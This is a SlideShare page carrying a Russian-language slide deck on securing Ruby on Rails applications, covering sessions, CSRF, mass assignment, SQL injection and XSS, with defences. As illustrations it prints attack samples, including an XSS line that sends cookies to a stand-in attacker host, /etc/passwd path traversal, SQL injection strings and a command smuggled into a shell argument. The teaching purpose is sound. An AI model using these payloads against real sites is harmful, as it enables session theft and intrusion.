SecuringRails Applications                     Кириллов                     Александр
Факты‣ Нет безопасных фреймворков‣ 75% атак происходят на уровне приложения.‣ 97% сайтов уязвимы к атакам.‣ Разработчик до...
Сессии‣ Добавляют зависимость от предыдущих  запросов‣ Имеет идентификатор (id: 32-байт MD5)‣ Как воровать:  - перехват в ...
Сессии‣ Не храните большие объекты в сессии‣ Не храните критические данные в сессии
Хранение сессий‣ ActiveRecord::SessionStore‣ ActionDispatch::Session::CookieStore  - 4kB данных  - хранить user id - это н...
Атаки   воспроизведения1. Получаем кредит (сумма в сессии)2. Покупаем что-либо3. Кредит уменьшился и сохранился в   сессии...
Фиксация сессии
Фиксация сессии‣ Новый идентификатор сессии после  успешного логина  reset_session‣ сохранение специфичных данных в  сесси...
CSRF
CSRF‣ типы запросов очень важны!‣ токен при не-GET запросах‣ ВАЖНО - XSS обходит все защиты CSRF
Еще до кучи‣ Перенаправления  http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com‣ Самодостаточны...
Админка‣ XSS  - достаточно одного места с необработанным выводом пользовательских данных‣ Распространение спама с XSS  Адм...
Массовое назначение‣ attr_protected‣ attr_accessible‣ whitelist_attributes
Пользователи            и аккаунты‣ Следите за обновлениями!  User.find_by_activation_code(params[:id]) #=> первый пользова...
И еще‣ Регулярные выражения  ^ и $, вместо A и z.  Пример: /^https?://[^n]+$/i  javascript:exploit_code();/*  http://hi.co...
Инъекции         Белые vs Черные‣ before_filter :only => […] вместо :except => […]‣ attr_accessible вместо attr_protected‣ ...
Инъекции                          SQL‣ Project.where("name = #{params[:name]}")  SELECT * FROM projects WHERE name =  OR 1...
Инъекции                             XSS‣ Точки входа  - любое поле ввода, предоставленное пользователю - потенциальная ды...
Инъекции                    CSS‣ Та же JS только в CSS  MySpace Samy worm  <div style="background:url(javascript:alert(1))...
Инъекции                    россыпью‣ Textile  RedCloth.new(<script>alert(1)</script>).to_html  RedCloth.new(<script>alert...
Test your sitehttps://github.com/Arachni/arachni
Upcoming SlideShare
Loading in …5
×

Securing Rails Applications

750 views

Published on

0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
750
On SlideShare
0
From Embeds
0
Number of Embeds
9
Actions
Shares
0
Downloads
4
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • Securing Rails Applications

    1. 1. SecuringRails Applications Кириллов Александр
    2. 2. Факты‣ Нет безопасных фреймворков‣ 75% атак происходят на уровне приложения.‣ 97% сайтов уязвимы к атакам.‣ Разработчик должен «знать» атаки.
    3. 3. Сессии‣ Добавляют зависимость от предыдущих запросов‣ Имеет идентификатор (id: 32-байт MD5)‣ Как воровать: - перехват в незащищенной сети - пользователь «не вышел» из аккаунта - XSS - подмена идентификатора
    4. 4. Сессии‣ Не храните большие объекты в сессии‣ Не храните критические данные в сессии
    5. 5. Хранение сессий‣ ActiveRecord::SessionStore‣ ActionDispatch::Session::CookieStore - 4kB данных - хранить user id - это нормально )) - не храните секреты в сессиях - в конец куки вставляется дайджест
    6. 6. Атаки воспроизведения1. Получаем кредит (сумма в сессии)2. Покупаем что-либо3. Кредит уменьшился и сохранился в сессии4. Берем куки с первого шага5. Наши деньги снова у нас
    7. 7. Фиксация сессии
    8. 8. Фиксация сессии‣ Новый идентификатор сессии после успешного логина reset_session‣ сохранение специфичных данных в сессии - ip адрес - агент пользователя - и т.д.
    9. 9. CSRF
    10. 10. CSRF‣ типы запросов очень важны!‣ токен при не-GET запросах‣ ВАЖНО - XSS обходит все защиты CSRF
    11. 11. Еще до кучи‣ Перенаправления http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com‣ Самодостаточный XSS data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K‣ Upload файлов на сервер “../../../etc/passwd” - имя файла.‣ Скачивание файла send_file(params[:filename]) #=> {filename: “../../../etc/passwd”}
    12. 12. Админка‣ XSS - достаточно одного места с необработанным выводом пользовательских данных‣ Распространение спама с XSS Админки с открытым кодом‣ CSRF Перенастройка роутера http://192.168.1.1/cp06_wifi_m_nocifr.cgi?wlChannel=Auto&wlRadioEnable=on‣ Режим паранои Думай о худшем случае Ограничение входа по IP Отдельный домен для админки
    13. 13. Массовое назначение‣ attr_protected‣ attr_accessible‣ whitelist_attributes
    14. 14. Пользователи и аккаунты‣ Следите за обновлениями! User.find_by_activation_code(params[:id]) #=> первый пользователь‣ Брутфорсинг аккаунтов Не конкретизируйте ошибку CAPTCHA‣ Взлом аккаунтов пароли (требуйте старый пароль) email (требуйте пароль для изменения)‣ Логирование config.filter_parameters << :password
    15. 15. И еще‣ Регулярные выражения ^ и $, вместо A и z. Пример: /^https?://[^n]+$/i javascript:exploit_code();/* http://hi.com */‣ Права доступа к ресурсам Не пытайтесь прятать. Контролируйте! @project = Project.find(params[:id]) - плохо @project = @current_user.projects.find(params[:id]) - уже лучше‣ JavaScript используется только для проверки, не для предотвращения!
    16. 16. Инъекции Белые vs Черные‣ before_filter :only => […] вместо :except => […]‣ attr_accessible вместо attr_protected‣ разрешите <strong> вместо удаления <script>‣ Только белые списки для пользовательских данных “<sc<script>ript>”.gsub(“<script>”, "") #=> <script>
    17. 17. Инъекции SQL‣ Project.where("name = #{params[:name]}") SELECT * FROM projects WHERE name = OR 1 --‣ Строки в запросах - плохо User.first("login = #{params[:name]} AND password = #{params[:password]}") User.where(:login => entered_user_name, :password => entered_password).first
    18. 18. Инъекции XSS‣ Точки входа - любое поле ввода, предоставленное пользователю - потенциальная дыра. - параметры запросов - баннерная реклама‣ Крадем куки <script>document.write(<img src="http://www.attacker.com/ + document.cookie + ">);</script> в логе: GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2‣ Фильтруйте ввод и вывод strip_tags("some<<b>script>alert(hello)<</b>/script>") <IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116 ;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;# 83;&amp;#39;&amp;#41;> только белый список!!!
    19. 19. Инъекции CSS‣ Та же JS только в CSS MySpace Samy worm <div style="background:url(javascript:alert(1))"> <div id="mycode" expr="alert(hah!)" style="background:url(javascript:eval(document.all.mycode.expr))">‣ Действительно ли нужно пользователям кастомизировать css?
    20. 20. Инъекции россыпью‣ Textile RedCloth.new(<script>alert(1)</script>).to_html RedCloth.new(<script>alert(1)</script>, [:filter_html]).to_html‣ Ajax Экранируйте возвращаемые значения‣ Командная строка system("/bin/echo","hello; rm *")
    21. 21. Test your sitehttps://github.com/Arachni/arachni

    ×